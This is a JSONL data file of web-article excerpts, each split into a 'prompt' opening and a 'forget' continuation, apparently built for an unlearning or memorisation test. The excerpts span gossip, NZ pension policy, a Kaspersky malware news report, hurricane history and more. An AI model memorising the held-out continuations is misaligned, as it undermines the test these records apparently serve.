{"prompt": "It feels like NeNe Leakes is constantly responding to rumors about a possible return to Real Housewives of Atlanta. No matter what else she gets involved in, NeNe will always be associated with the show and since she pops in now and then, it makes sense that people are wondering. There were also rumors that Kim Zolciak might step back in as a cast member, but I don\u2019t get why she would do that. Don\u2019t Be Tardy seems like a way easier show to do. Unless of course, the money was better. And then there\u2019s other original RHOA cast member", "forget": "Sheree Whitfield. She did return last season as a part time cast member, but that was not enough for me. I need the original ladies back on my show, but is it going to happen? NeNe shared the latest with her followers on Twitter. CLICK \u201cCONTINUE READING\u201d FOR MORE! NeNe shut down the rumors that she was returning as a Housewife when she responded to a fan on Twitter and wrote, \u201cI wasn\u2019t asked 2 b a full time housewife or part time but they got Sheree & I think Kim Z.\u201d I didn\u2019t think that NeNe would want to be a full time cast member. She had a way better deal last season: popping in whenever she wanted, throwing some funny shade, and peacing out before she was really affected by the drama. I can see her doing something similar next season. Because, why not? She gets the best of both worlds if she takes that route! RELATED: Kroy Biermann Cut By The Buffalo Bills My interest is also piqued by the last part of the tweet when she mentioned Sheree and Kim. I\u2019m not at all surprised by Sheree getting the promotion to a full time cast member since she did put in that time as a recurring cast member last season. The Kim part throws me off though. Her spin off show seems to be doing pretty well and it seems way less stressful than arguing with Housewives so it\u2019s weird that she would want to leave. According to Hip Hollywood, NeNe made it clear that she is happy for Kim and Sheree (if the gossip ends up being true) since she reportedly tweeted, \u201cNever bitter! Please support them.\u201d I could not find the tweet myself, but NeNe seems to be cool with both Sheree and Kim"}
{"prompt": "The Retirement Commissioner says the superannuation age needs to rise from 65 to 67. Diane Maxwell says the country can\u2019t afford not to make the change, calling it a \"no-brainer.\" \"The number of 65-plus will double in the next 25 years, the cost of super will triple in the next 20 years,\" she says. \"Our dependency ratio \u2014 the number of people of working age to retirees \u2014 will go from 4.4 to 2.4 [per working person]. We can't pretend this isn't happening.\" But Commerce Minister Paul Goldsmith disagrees, saying economic growth will cover the cost of keeping super eligibility", "forget": "at 65. Mr Goldsmith says the government currently spends around 5% of GDP on super. \"The projections are in 2045, 30 years from now, that will increase to 7% of GDP. The world's not going to come to an end. We can afford that,\" he says. Prime Minister John Key says he would resign before he lifted the retirement age, in part because he says it would be tough on many blue collar workers. A recent survey by the Retirement Commission found two-thirds of Kiwis want it kept at 65. \"I'm hoping to change the voters' minds,\" says Ms Maxwell. \"If I can change the voters' minds, I can change [Mr Key's] mind.\" The Retirement Commissioner also says immigrants should not be eligible for super until they have lived in New Zealand for 25 years, in line with the average of 26 years. Currently, the wait is 10 years. But Mr Goldsmith says we\u2019ve always been a generous country. She says now the government has such a large surplus it should resume payments into the Super Fund. RAW DATA: Lisa Owen interviews Retirement Commissioner Diane Maxwell and Commerce Minister Paul Goldsmith Lisa Owen: Well, this is a political hot potato that no party wants to handle \u2013 superannuation. But now the Retirement Commissioner, Diane Maxwell, is wading in. Her report on New Zealand\u2019s retirement policy is due shortly, and she joins me now in the studio. Diane Maxwell: Good morning. Good morning. What are your key recommendations going to be? So super as it stands is a fantastic thing. We\u2019re very proud of it, but it\u2019s not sustainable in the long term unless we make some changes. So the changes that we\u2019re looking at, you\u2019ve either got to say how do you work on the eligibility criteria or the absolute"}
{"prompt": "We need your help to build wheelchair costumes for kids in walkers and wheelchairs in time for Halloween 2015! So please pledge and spread the word. The more money we raise, the more children we can build for in the future! Our goal is 5 costumes, but we\u2019d love to make more with more donations. What is Walkin\u2019 & Rollin\u2019 Costumes? Walkin\u2019 & Rollin\u2019 Costumes is a nonprofit organization that turns kids\u2019 walkers and wheelchairs into the best Halloween costume ever! Lon & Anita Davis are the parents of 2 boys, 1 of whom, Reese, was diagnosed with Neuroblastoma (a", "forget": "childhood cancer) at the age of 2 months old. The tumor was on his spine and ended up crushing his spinal cord preventing him the full use of his legs and trunk muscles. Together, with the help of now 10-year-old Reese, the family launched Walkin\u2019 & Rollin\u2019 Costumes with this simple goal in mind: \u201cTo provide any child with special needs equipment a unique and custom built costume for them, free of charge to the family.\u201d How it all started. When Reese received his first wheelchair around the age of 3, he was really into the movie, \u201cWall-E.\u201d So for Halloween he wanted to be the title character. We knew there wasn\u2019t a way to purchase a costume that would work for him, so we decided to build it from scratch. The end result featured mechanical arms that Reese could control from within the body and large track treads on the side of his wheelchair. The costume blew people away and it even ended up in the Kansas City Star newspaper. The first costume built by the Walkin' & Rollin' Costumes team. Each year following, Reese would come up with creative ideas for his costume, and Dad would have to figure out a way to make them work. Year two, Reese wanted to be Buzz Lightyear and wanted his wheelchair to be the Claw Machine from the first \u201cToy Story\u201d movie. That costume ended up coming in 2nd place for a city wide costume contest and was featured on the home page of the Kansas City Star website. Buzz Lightyear in the Claw Machine Fast forward to 2015. We have numerous costumes under our belt, each being more elaborate than the last. We were even featured on the evening news for our Comic Con costume in 2015 when we introduced"}
{"prompt": "Transgender prisoner Jade Follett has been approved to move to a women's prison. The Department of Corrections has agreed to shift a transgender prisoner to a women's facility. It came as the prisoner's lawyer has questioned why a person who identified as a woman and was undergoing hormone therapy was put in a men's prison in the first place. On Thursday Rimutaka Prison director Chris Burns confirmed the request by transgender prisoner Jade Follett had been approved. Supplied Members of the group No Pride in Prison. \"Corrections has a duty of care to all prisoners. We are very much aware", "forget": "and sympathetic to the particular needs of transgender prisoners including the issues surrounding their placement and safety.\" Follett's transfer will be the fifth since the transgender and intersex prisoner policy took effect in February 2014. On Wednesday transgender activists threatened to go on hunger strike unless Corrections moved Follett from Rimutaka Prison to a women's facility. READ MORE: * Transgender activists threaten hunger strike over treatment of trans woman prisoner It comes after reports the prisoner, \"a strong woman\", had to front up to threats in the men's prison. About 10 members of the No Pride in Prisons group launched the hunger strike on Karangahape Rd in Auckland on Thursday, spokeswoman Jennifer Shields said. She said the group had been on the hunger strike for about five hours before hearing that Follett's transfer had been approved. The group was pleased the request was approved, but it was \"only the start\", she said. \"Jade shouldn't have been put in a prison in the first place, their policy isn't working. There would be a system at the start that assessed who they are, their gender, their risk, and put them in the right facility right away.\" Previously Shields said Follett had requested the move about two months ago but had not heard back from Corrections. On Wednesday, Burns said Corrections received a request over the weekend from a transgender prisoner to be moved to a prison that accommodated prisoners of their identified gender. \"No other transfer requests of this nature have been made this year.\" Burns said Corrections would treat the request \"with urgency\". Shields said Follett was a strong woman but had been threatened several times in the prison. \"But people have backed down once she stood up for herself.\" She said people who thought Follett should be in a men's"}
{"prompt": "Two years ago, researchers at Moscow-based Kaspersky Lab discovered their corporate network was infected with malware that was unlike anything they had ever seen . Virtually all of the malware resided solely in the memory of the compromised computers, a feat that had allowed the infection to remain undetected for six months or more. Kaspersky eventually unearthed evidence that Duqu 2.0, as the never-before-seen malware was dubbed, was derived from Stuxnet, the highly sophisticated computer worm reportedly created by the US and Israel to sabotage Iran\u2019s nuclear program. Now, fileless malware is going mainstream, as financially motivated criminal hackers mimic", "forget": "their nation-sponsored counterparts. According to research Kaspersky Lab plans to publish Wednesday, networks belonging to at least 140 banks and other enterprises have been infected by malware that relies on the same in-memory design to remain nearly invisible. Because infections are so hard to spot, the actual number is likely much higher. Another trait that makes the infections hard to detect is the use of legitimate and widely used system administrative and security tools\u2014including PowerShell, Metasploit, and Mimikatz\u2014to inject the malware into computer memory. \"What's interesting here is that these attacks are ongoing globally against banks themselves,\" Kaspersky Lab expert Kurt Baumgartner told Ars. \"The banks have not been adequately prepared in many cases to deal with this.\" He went on to say that people behind the attacks are \"pushing money out of the banks from within the banks,\" by targeting computers that run automatic teller machines. The 140 unnamed organizations that have been infected reside in 40 different countries, with the US, France, Ecuador, Kenya, and the UK being the top five most affected nations. The Kaspersky Lab researchers still don't know if a single group of individuals is behind the attacks, or if they're being carried out by competing hacker gangs. The use of the fileless malware and command-server domains that aren't associated with any whois data makes the already difficult task of attribution almost impossible. Password harvesting The researchers first discovered the malware late last year, when a bank's security team found a copy of Meterpreter\u2014an in-memory component of Metasploit\u2014residing inside the physical memory of a Microsoft domain controller. After conducting a forensic analysis, the researchers found that the Meterpreter code was downloaded and injected into memory using PowerShell commands. The infected machine also used Microsoft's NETSH networking tool to transport data to attacker-controlled servers. To obtain"}
{"prompt": "The Hermetic Order of the Golden Dawn, a linchpin in Western occultism, was founded in the late 1880s. Within 15 years there had been schisms dividing the Order. With the internet today, events happen much faster. Various groups claim to be \u201cthe\u201d Golden Dawn and fight for the use of the name. New groups claim to have the \u201creal\u201d teachings. People get kicked out of one group or they split off from groups to form their own \u201creal\u201d Golden Dawn. These games don\u2019t matter. It is the work that matters. All of these games are about ego. The Order is", "forget": "about the work. When the Order was founded, they included a document that revealed the Order\u2019s supposed history, going back before its modern founding (or re-creation). Over the years, aspects of this \u201cHistory Lection\u201d (Lection is an archaic word meaning a particular edition of a text. I always find it amusing how many occult writers think it\u2019s necessary to use archaic or foreign words when there are perfectly acceptable modern words.) have fallen into question\u2014appropriately so\u2014leading not to an editing but to an abandonment. This would be like saying the novel War and Peace is no good if a period is in the wrong place. I contend it would be more appropriate to abandon anything proven wrong and keep what is accurate. Sure, that\u2019s more work, and a lot of \u201cauthorities\u201d don\u2019t really like work, even if that work isn\u2019t all that difficult. If instead of simply abandoning the entire History Lection we research each claim for its validity, we\u2019ll soon come to the forgotten man of the Golden Dawn, Johann F. Falk. According to the Golden Dawn lectures, there was a G.D. lodge in London around 1810 which was headed by Johann F. Falk. In all of the books and research through Golden Dawn sources, it seems that nobody was interested in checking up on this. Either they simply believed or discounted the documents completely. In fact, a Rabbi de Falk, also known as Cain Chenuel Falk, was a noted cabalist and magician living in London around this time, the late 1700s. His \u201cson,\u201d Johann Friedrich Falk was born in Hamburg and is mentioned in the classic Royal Masonic Cyclopaedia by Kenneth R. H. Mackenzie. One Masonic historian believes they were the same person. Who was this Falk? Some time ago, while surfing the \u2019net, I came across an"}
{"prompt": "\u201cSome Christians are more offended by the idea of everyone going to heaven than by the idea of everyone going to hell.\u201d - Evolving in Monkey Town, Chapter 9 If you\u2019ve read Evolving in Monkey Town you know that some of my most serious doubts about Christianity were triggered by questions related to religious pluralism and the destiny of the un-evangelized. After witnessing the public execution of a Muslim woman from Afghanistan on TV, I began struggling with the idea that millions upon millions of people like Zarmina had been sentenced to hell for eternity, most without ever hearing the", "forget": "gospel. In Chapter 9 I write: In Sunday school, they always make hell out to be a place for people like Hitler, not a place for his victims. But if my Sunday school teachers and college professors were right, then hell will be populated not only by people like Hitler and Stalin, Hussein and Milosevic but by the people that they persecuted. If only born-again Christians go to heaven, then the piles of suitcases and bags of human hair displayed at the Holocaust Museum represent thousands upon thousands of men, women, and children suffering eternal agony and the hands of angry God. If salvation is available only to Christians, then the gospel isn\u2019t good news at all. For most of the human race, it\u2019s terrible news. As I\u2019ve travelled around the country talking about my experience with doubt, I\u2019ve been approached by many people, especially college students and young adults, who relate most to this section of the book. With tears in their eyes, they confess that they too lie awake at night wondering how a loving God could damn the majority of his creation to hell, how a God who \u201cdesires that all be saved\u201d could leave so many without hope. In the book I explain why I think Scripture gives us reason to be optimistic about the future of humanity, but it has become increasingly clear to me over the past few months that this is a topic people desperately want to talk about. With this in mind, I recently requested an advance review copy of Rob Bell\u2019s new book Love Wins: Heaven, Hell and the Fate of Every Person Who Has Ever Lived. I was especially intrigued by a video trailer for the book in which Bell asks the very questions I\u2019ve been asking myself since childhood"}
{"prompt": "If you\u2019re a fan of Flight of the Conchords or the vampire mockumentary What We Do in the Shadows then you already know Taika Waititi is aces. As a director, he\u2019s got an impeccable ability to balance painful earnestness with biting humor. And as a comedy writer and actor, he produces jokes that land every time\u2014even if they\u2019re so subtle you don\u2019t notice it at first. This has never been more true than in Hunt for the Wilderpeople, which premiered at the Sundance Film Festival and stars Sam Neill as a woodsy tough guy who ends up on the lam", "forget": "in the New Zealand bush with a gangster-wannabe foster kid (Ricky, played by newcomer Julian Dennison). It\u2019s Waititi\u2019s best movie yet, and it bodes well for his next project: Thor: Ragnarok. Yes, after a career of making small, subtle movies like the stellar Eagle vs. Shark, Waititi\u2019s next gig is directing the third Marvel movie about the Asgardian god. And while his skillset may not at first glance seem suited to an interstellar superhero epic, the way Waititi does it, they are. (Really, aren\u2019t all of the Avengers movies just family misadventures?) Here\u2019s why we should be very excited to see what Waititi does in the Marvel Cinematic Universe. He\u2019s No Stranger to Punching Up Dark Source Material Despite the fact that it\u2019s very much a comedy, Hunt for the Wilderpeople is actually based on a serious novel: Barry Crump\u2019s Wild Pork and Watercress. \u201cNothing in the book is funny,\u201d Waititi told WIRED at Sundance. \u201cI brought in all that kind of stuff. The main thing taken from the book is the heart and soul of it: It\u2019s about a young boy growing up, and having the craziest of experiences.\u201d He\u2019s Quick With a Pop Culture Reference One of the ways Waititi enlivened Wilderpeople was with an infusion of well-placed pop culture references. Ricky, for example, names his dog Tupac, after his favorite rapper. While hiding in the bush, the boy notes his plight is like Lord of the Rings. When Ricky tells the woman from children\u2019s services that he is the Terminator, she replies that he\u2019s actually Sarah Connor\u2014from the first movie, before she could do pull-ups. And that\u2019s just one of a few barbs the welfare agent gets in, and they didn\u2019t all make the final cut. \u201cI saw her character as Tommy Lee Jones from The Fugitive."}
{"prompt": "In set theory, the cardinality of the continuum is the cardinality or \"size\" of the set of real numbers R {\\displaystyle \\mathbb {R} } , sometimes called the continuum. It is an infinite cardinal number and is denoted by | R | {\\displaystyle |\\mathbb {R} |} or c {\\displaystyle {\\mathfrak {c}}} (a lowercase fraktur script \"c\"). The real numbers R {\\displaystyle \\mathbb {R} } are more numerous than the natural numbers N {\\displaystyle \\mathbb {N} } . Moreover, R {\\displaystyle \\mathbb {R} } has the same number of elements as the power set of N {\\displaystyle \\mathbb {N} } .", "forget": "Symbolically, if the cardinality of N {\\displaystyle \\mathbb {N} } is denoted as \u2135 0 {\\displaystyle \\aleph _{0}} , the cardinality of the continuum is c = 2 \u2135 0 > \u2135 0 . {\\displaystyle {\\mathfrak {c}}=2^{\\aleph _{0}}>\\aleph _{0}\\,.} This was proven by Georg Cantor in his 1874 uncountability proof, part of his groundbreaking study of different infinities; the inequality was later stated more simply in his diagonal argument. Cantor defined cardinality in terms of bijective functions: two sets have the same cardinality if and only if there exists a bijective function between them. Between any two real numbers a < b, no matter how close they are to each other, there are always infinitely many other real numbers, and Cantor showed that they are as many as those contained in the whole set of real numbers. In other words, the open interval (a,b) is equinumerous with R . {\\displaystyle \\mathbb {R} .} This is also true for several other infinite sets, such as any n-dimensional Euclidean space R n {\\displaystyle \\mathbb {R} ^{n}} (see space filling curve). That is, | ( a , b ) | = | R | = | R n | . {\\displaystyle |(a,b)|=|\\mathbb {R} |=|\\mathbb {R} ^{n}|.} The smallest infinite cardinal number is \u2135 0 {\\displaystyle \\aleph _{0}} (aleph-null). The second smallest is \u2135 1 {\\displaystyle \\aleph _{1}} (aleph-one). The continuum hypothesis, which asserts that there are no sets whose cardinality is strictly between \u2135 0 {\\displaystyle \\aleph _{0}} and c {\\displaystyle {\\mathfrak {c}}} , implies that c = \u2135 1 {\\displaystyle {\\mathfrak {c}}=\\aleph _{1}} . Properties [ edit ] Uncountability [ edit ] Georg Cantor introduced the concept of cardinality to compare the sizes of infinite sets. He famously showed that the set of real numbers is uncountably infinite; i.e. c {\\displaystyle {\\mathfrak"}
{"prompt": "My dad went on his first American road trip to the South in 1979, from New Hampshire to Mobile, Alabama. This was his first Thanksgiving and the first time his white hosts had seen an Indian man. Before dinner, he was invited to the grocery store and his friend\u2019s father grabbed a rifle off the shelf and placed it in the bed of his truck. This was the South, my dad was told, and others might not like him because of the color of his skin. So he went to the store and faced a few mean stares, but was", "forget": "ignored. Welcome to America. Indian Americans are lucky. Police aren\u2019t killing us in unprecedented numbers, and government policy isn\u2019t designed to kick us out. Some of the insults hurled my way growing up\u2014sand nigger, camel jockey, raghead\u2014show a lack of understanding of who we are by clumping us with others who are more persecuted. Our history in this nation is not marked by civil rights milestones. Perhaps because of this, we are often seen as soft, a minority that should be pleased with its good position in America. Advertisement I thought about this a few months ago at a Donald Trump rally in Chicago. It was as advertised: a white supremacist fever dream, like a hyper-stylized cartoon version of hate. Mobs of white men and women yelled at crowds of young black and Muslim and Mexican protesters who told me they felt like caged animals on display at the zoo. To first-generation Indian Americans like me, Trump is that racist white guy: a villain in a Bollywood movie making life unsafe for those with brown skin. He\u2019s tapped into a fear that despite growing up in this nation, we still don\u2019t belong. And yet, in a campaign dripping with explicit xenophobia, he\u2019s done all this while mostly ignoring us. \u201cWe are from India,\u201d Trump said in Delaware, pretending to be a call center worker in an accent that was actually not that bad, more Amitabh Bachchan than Kwik-E-Mart. Our only other mention came earlier this year when he said that \u201cIndia is doing great. Nobody talks about it.\u201d Well, yeah. (Likely Democratic nominee Hillary Clinton was photographed carrying to-go bags of tandoori and chicken makhani, but that doesn\u2019t count.) If you listen closely, though, Trump\u2019s said some things. He\u2019s proposed a ban on Muslim immigration (10% of Indian Americans are"}
{"prompt": "In a media availability on Thursday, Texas Longhorns defensive coordinator Todd Orlando detailed the specifics of several position changes on defense that are having a big impact on the depth chart: Here are the position changes Texas defensive coordinator Todd Orlando made after watching last year's film pic.twitter.com/ymIklTpMoS \u2014 Anwar Richardson (@AnwarRichardson) March 24, 2017 And so while Orlando\u2019s multiple 3-4 defense will typically employ a similar 3-3-5 look against spread teams as the defense run by former head coach Charlie Strong, he clearly sees different things on film and has different requirements than the previous staff. After a largely", "forget": "disappointing two-year experiment with Malik Jefferson in the middle, the junior will cede the role of most important defender to fellow junior Breckyn Hager. Jefferson was the top player in the state in 2015 and the crown jewel of Strong\u2019s recruiting class, while Hager was one of the lowest-rated players in the entire group and originally committed to Baylor. Now the roles are rather reversed \u2014 it\u2019s Hager who will take on the role of calling the defense and utilize his trademark maniacal play back at linebacker, where he played as a freshman before switching to the hybrid Buck position last year. In discussing the role of linebacker\u2019s in his defense, Orlando made his expectations clear for the position. He also happened to send a thinly-veiled message to Jefferson, who was benched last season for his effort level. \u201cWe're not going to go into the season with a soft middle linebacker, it's just not going to happen,\u201d Orlando said. \u201cSo whoever ends up being the toughest kid, the kid who's going to be the most physical, play in and play out, is going to wind up there when we eventually play Maryland. That's the approach, that what always goes into what part this is. That position should be the quarterback of the defense, he should be the toughest guy, everybody should respect him, he should go extremely hard all the time and be vocal. So that's kind of the prerequisite that you look for when you're trying to fill in that spot.\u201d In 2016, Jefferson\u2019s play improved at the end of the season before it ended due to a concussion, but Orlando made it clear that if it flags again for whatever reason, Jefferson will find himself on the bench much more quickly than he did in the past. \u201cIt\u2019s"}
{"prompt": "Richard Cordray has been rumored to be considering a run for governor of Ohio, but he gave no indication Wednesday of what his plans are. | Pete Marovich/Getty Images Cordray to resign from CFPB, clouding future of watchdog agency Richard Cordray, the embattled director of the Consumer Financial Protection Bureau, will resign his post at the end of the month, giving President Donald Trump the chance to reshape an agency that has drawn relentless attacks from businesses over its aggressive enforcement. Cordray made the announcement in an email to bureau staff on Wednesday. Story Continued Below \"It has been a", "forget": "joy of my life to have the opportunity to serve our country as the first director of the Consumer Bureau by working alongside all of you here,\" he wrote. \"Together we have made a real and lasting difference that has improved people's lives.\" Cordray has been rumored to be considering a run for governor of Ohio, but gave no indication Wednesday of his plans. Trump is likely to put the bureau under the control of Treasury Secretary Steven Mnuchin, who can delegate day-to-day operations to an interim director, according to a White House official and others familiar with the administration\u2019s thinking. An interim director can stay at the post indefinitely, or at least until the White House can get a nominee confirmed. Cordray's departure kicks off a high-stakes scramble to secure the future of the CFPB, a powerful Washington regulator that has cheered consumers and angered businesses as well as Republicans, who have accused it of overreaching. The independent bureau is the only bank regulator not led by a Trump appointee. The most reliable politics newsletter. Sign up for POLITICO Playbook and get the latest news, every morning \u2014 in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time. \"We need to appoint someone who has a proven track record of looking out for consumers,\" said John Taylor, president of the National Community Reinvestment Coalition. \"To do anything that would weaken it by appointing someone who is less committed than Richard Cordray was would be a disservice to consumers.\" Trump, never a Cordray fan, has been scouting for his replacement among the ranks of Republican attorneys general. But the partisan grip squeezing Washington, and the agency\u2019s supercharged politics, mean that anyone chosen for the job"}
{"prompt": "1893 New York hurricane Category 3 major hurricane (SSHWS/NWS) Map of the hurricane on August 24 over New York City Formed August 15, 1893 Dissipated August 25, 1893 Highest winds 1-minute sustained: 115 mph (185 km/h) Lowest pressure 952 mbar (hPa); 28.11 inHg Fatalities At least 34 Areas affected Eastern United States Part of the 1893 Atlantic hurricane season The 1893 New York hurricane, also known as the Midnight Storm,[1] was a powerful and destructive tropical cyclone that struck the New York City area in August 1893. First identified as a tropical storm on August 15, over the central Atlantic", "forget": "Ocean, the hurricane moved northwestward for most of its course, ultimately peaking with maximum sustained winds of 115 mph (185 km/h) and a minimum barometric pressure reading of 952 mbar (hPa; 28.11 inHg). It turned due northward as it approached the U.S. East Coast and struck western Long Island on August 24. It moved inland and quickly deteriorated, degenerating the next day. The storm inflicted severe damage with storm tides as high as 30 ft (9 m). Trees were brought down, houses were demolished, and Hog Island was largely washed away by the cyclone. Several areas suffered extensive effects from the hurricane, and at least 34 sailors lost their lives. The storm is regarded as one of the most severe hurricanes to strike the city. Meteorological history [ edit ] The system was first classified as a tropical storm while situated in the central Atlantic Ocean on August 15, 1893. It steadily intensified as it tracked generally toward the west and attained hurricane force. Gradually curving northwestward, the storm continued to gain power and, on August 18, it achieved wind speeds corresponding to Category 2 intensity on the modern-day Saffir-Simpson Hurricane Scale.[2] This scale was devised in 1971 to categorize tropical cyclones based on their maximum sustained winds.[3] The storm is estimated to have maintained winds of approximately 100 mph (155 km/h) for several days as it passed well to the north of the Lesser Antilles. As the hurricane turned more northerly still, approaching the United States, it strengthened to major hurricane intensity, Category 3, on August 22. At this point, it peaked in intensity with winds of 115 mph (185 km/h). The lowest known barometric pressure in relation to the storm was 952 mbar (hPa; 28.11 inHg).[2] Less than a day later, the storm deteriorated to Category 2 strength.[2]"}
{"prompt": "Scientists at NASA\u2019s Goddard Institute for Space Studies (GISS) say 2012 was the ninth warmest year since 1880, continuing a long-term trend of rising global temperatures. The ten warmest years in the 132-year record have all occurred since 1998. The last year that was cooler than average was 1976. The map at the top depicts temperature anomalies, or changes, by region in 2012; it does not show absolute temperature. Reds and blues show how much warmer or cooler each area was in 2012 compared to an averaged base period from 1951\u00e2\u20ac\u201c1980. For more explanation of how the analysis works, read", "forget": "World of Change: Global Temperatures. The average temperature in 2012 was about 14.6 degrees Celsius (58.3 degrees Fahrenheit), which is 0.55\u00b0C (1.0\u00b0F) warmer than the mid-20th century base period. The average global temperature has increased 0.8\u00b0C (1.4\u00b0F) since 1880, and most of that change has occurred in the past four decades. The line plot above shows yearly temperature anomalies from 1880 to 2011 as recorded by NASA GISS, the National Oceanic and Atmospheric Administration (NOAA) National Climatic Data Center, the Japanese Meteorological Agency, and the Met Office Hadley Centre in the United Kingdom. All four institutions tally temperature data from stations around the world and make independent judgments about whether the year was warm or cool compared to other years. Though there are minor variations from year to year, all four records show peaks and valleys in sync with each other. All show rapid warming in the past few decades, and all show the last decade as the warmest. Scientists emphasize that weather patterns cause fluctuations in average temperatures from year to year, but the continued increase in greenhouse gas levels in the atmosphere assures that there will be a long-term rise in global temperatures. Each individual year will not necessarily be warmer than the previous year, but scientists expect each decade to be warmer than the previous decade. \u201cOne more year of numbers isn\u2019t in itself significant,\u201d GISS climatologist Gavin Schmidt said. \u201cWhat matters is this decade is warmer than the last decade, and that decade was warmer than the decade before. The planet is warming. The reason it\u2019s warming is because we are pumping increasing amounts of carbon dioxide into the atmosphere.\u201d Carbon dioxide traps heat and largely controls Earth\u2019s climate. It occurs naturally but is also released by the burning of fossil fuels for energy. The level"}
{"prompt": "Jony Ive's iconic industrial designs--from the original fruit-colored iMacs to the iPhone and iPad--have redefined the look and feel of computing devices several times. That's all good. But computers and phones aren't simply designer bling, but tools that users depend upon for important work. They need to work reliably, which means investing in their underlying technologies to handle changing needs. In the last 10 years, disk capacities have grown 100x and many users have tens of thousands of multi-megabyte image, music, and video files. For example, Mac OS X is still relying on the much-patched 1980s file system technology of", "forget": "HFS+--something it planned to replace years ago. Many Mac fans have discounted my concerns, but now Lloyd Chambers of diglloyd.com, a former software engineer and long-time Mac user and fan, has weighed in with a multi-page indictment of Mac core rot. What he documents are not theoretical problems, but problems he has personally experienced. Not just with HFS+, but with several other key Mac software products. The whole piece is worth a serious read, but several of his points stood out for me, and I quote his bullet points: OS X Finder \u2014 damages the system, can't copy files reliably, can't do useful things it ought to do at all, hides key files, rife with bugs Disk utility \u2014 under some conditions, destroys arbitrary numbers of volumes, no real upgrade for years, took two minor releases to fix RAID support iCloud \u2014 a organization-destroying bug-ridden unreliable disaster File system \u2014 continued use of HFS Plus instead of robust ZFS. Chambers is an exceptional and demanding user. Yet if pro users are seeing these problems today, we know that in less than five years many less-demanding users will too. The Storage Bits take I used to hang with industrial designers, and I appreciate the creativity and deep knowledge of industrial technology that the best of them have. But they aren't software engineers. Apple has plenty of money and expertise to fix these problems, but it will take sustained effort and attention from top management--including Ive--to fix these problems on OS X and iOS. Ive is particularly important because he's been given significant software responsibility by Tim Cook. I include iOS because in 10 years it too will be handling workloads 100x greater than it does today. Fix OS X and then migrate that technology to iOS as needed. Mac software engineering"}
{"prompt": "A couple having sex metamorphoses into a crocodile. Fish eyes from some weird creature float on the surface of the sea, staring at me. A man is riding his own coffin. Text accompanies these surreal images, handwritten, seemingly ancient but totally unintelligible. I\u2019ve just stepped into the bizarre universe of Codex Seraphinianus, the weirdest encyclopedia in the world. Like a guide to an alien world, Codex Seraphinianus is 300 pages of descriptions and explanations for an imaginary existence, all in its own unique (and unreadable) alphabet, complete with thousands of drawings and graphs. Issued for the first time in 1981", "forget": "by publisher Franco Maria Ricci, it has been a collector\u2019s favorite for years, before witnessing a sudden rise in popularity thanks to a growing fandom on the Internet. Now a new-and-improved edition from Italian publisher Rizzoli is about to hit bookshelves on Oct. 29, with 3,000 pre-ordered copies already sold out. The Codex attracts a new generation of fans, people who grew up surfing the net and eager to explore the exciting and relentless world outside, as bizarre as it is depicted in the book. The author, Luigi Serafini, born in Rome in 1949, is an Italian architect-turned-artist who also worked in industrial design, painting, illustration and sculpture, collaborating with some of the most prominent figures in contemporary European culture. Roland Barthes gladly accepted to write the prologue to the book, but after his sudden death the choice fell to Italo Calvino, who mentioned it in his collection of essays Collezione di sabbia. Another admirer was Italian filmmaker Federico Fellini, to whom Serafini offered a series of drawings for his very last movie La voce della Luna. Serafini\u2019s amazing studio, a few steps from the Pantheon in the center of Rome, reveals everything about his fantasy world. Wandering around the place is like having a journey through a lysergic version of a Kubrick movie set, or a pyrotechnical staging of Alice in Wonderland. The imaginary space of the Codex spreads across the real world, a virtual-reality short-circuit even more powerful than the one created by technology itself. We sit down for an (electric) fireside chat, facing the statue of a deer that won\u2019t stop staring at us, trying to interpret the recent online success of his bizarre work. Luigi Serafini: I see many similarities between WIRED and the Codex; they both are the product of a generation that chose to"}
{"prompt": "The Stories You Missed in 2011 India\u2019s Military Buildup China\u2019s new aircraft carrier \u2014 actually just a refitted Gorbachev-era Soviet model purchased for $20 million from the Russians \u2014 made international headlines when it began sea trials this year, signaling Beijing\u2019s growing military ambitions in East Asia. But it isn\u2019t the only Asian giant investing heavily in new military hardware. India has kept pace with its neighbor to the north and, in some areas, is actually exceeding it \u2014 a development that, though much less noted, is a sign of the growing militarization of the region as a new generation", "forget": "of emerging powers with global ambitions jockeys for regional supremacy. India is now the world\u2019s largest weapons importer, according to a 2011 report by arms watchdog SIPRI, accounting for 9 percent of the world\u2019s international arms transfers \u2014 most from Russia \u2014 between 2006 and 2010. India will spend an estimated $80 billion on military modernization programs by 2015, according to an estimate from the Washington-based Center for Strategic and International Studies. In particular, India is focusing on sea power, a crucial new area of competition. The country is planning to spend almost $45 billion over the next 20 years on 103 new warships, including destroyers and nuclear submarines. By comparison, China\u2019s investment over the same period is projected to be around $25 billion for 135 vessels, according to data on both countries from maritime analysis firm AMI International. On top of long-running tensions with Pakistan and festering insurgencies by Kashmiri separatists and Maoist rebels, India\u2019s military planners are increasingly concerned about the prospect of military hostilities with China \u2014 hence the new focus on naval power. For now, the United States seems much more comfortable with India\u2019s military ambitions than China\u2019s. The Pentagon\u2019s 2010 Quadrennial Defense Review welcomed \u201ca more influential role in global affairs\u201d for India, including in the Indian Ocean region. But there are some troubling signs that the area might not be big enough for two rising superpowers. In August, an unidentified Chinese warship confronted an Indian amphibious assault ship near the coast of Vietnam and demanded that it explain its presence in Chinese waters (the encounter took place in a disputed part of the South China Sea claimed by Vietnam). Thankfully, the situation resulted in nothing more than some testy public statements from officials in all three countries, but it was yet another sign of"}
{"prompt": "Prelude: This piece is being started as I attended the 2016 American Open Weightlifting Championships in Orlando, FL. These are thoughts that occurred to me during that weekend and are not written as criticisms. They are merely an exercise in reflection, something that everyone should engage in with some thoughtfulness. They are also not a longing for a nostalgic past. I believe that most nostalgic moments are based on physiological responses to the events of the moment. Most people are nostalgic about events that occurred when their physiology was functioning most effectively. My hope is that these reflections will in", "forget": "some way turn out to be provocative. The Viewing Experience I spent a fair amount of time at this event sitting in the audience. Except for the one session where I sat in the front row, I got to watch a bunch of torsos lifting weight. There were hundreds of spectators at many sessions and even though many of them were participating lifters and coaches, a significant proportion were probably fans, supporters, and others who were not members of the weightlifting community. All of these groups deserve a decent view of the action. USAW needs to get the sport out of hotel conference facilities. They may be the cheapest alternative, but no sport with much spectator appeal is being conducted in hotel conference rooms. They are flat and most of them have horrible acoustics, although this past weekend\u2019s sound was acceptable. One thing that needs to be done if the hotel solution is the best is to have taller stages. The current stages are too short to allow for reasonable sightlines. Weightlifting can only be fully appreciated if the entire body of the athlete can be viewed. The organizing committee might consider the type of venue where a dance production could be presented. Dancers appreciate having people watch their feet. The USAW scoreboards are also pretty worthless as scoreboards if the 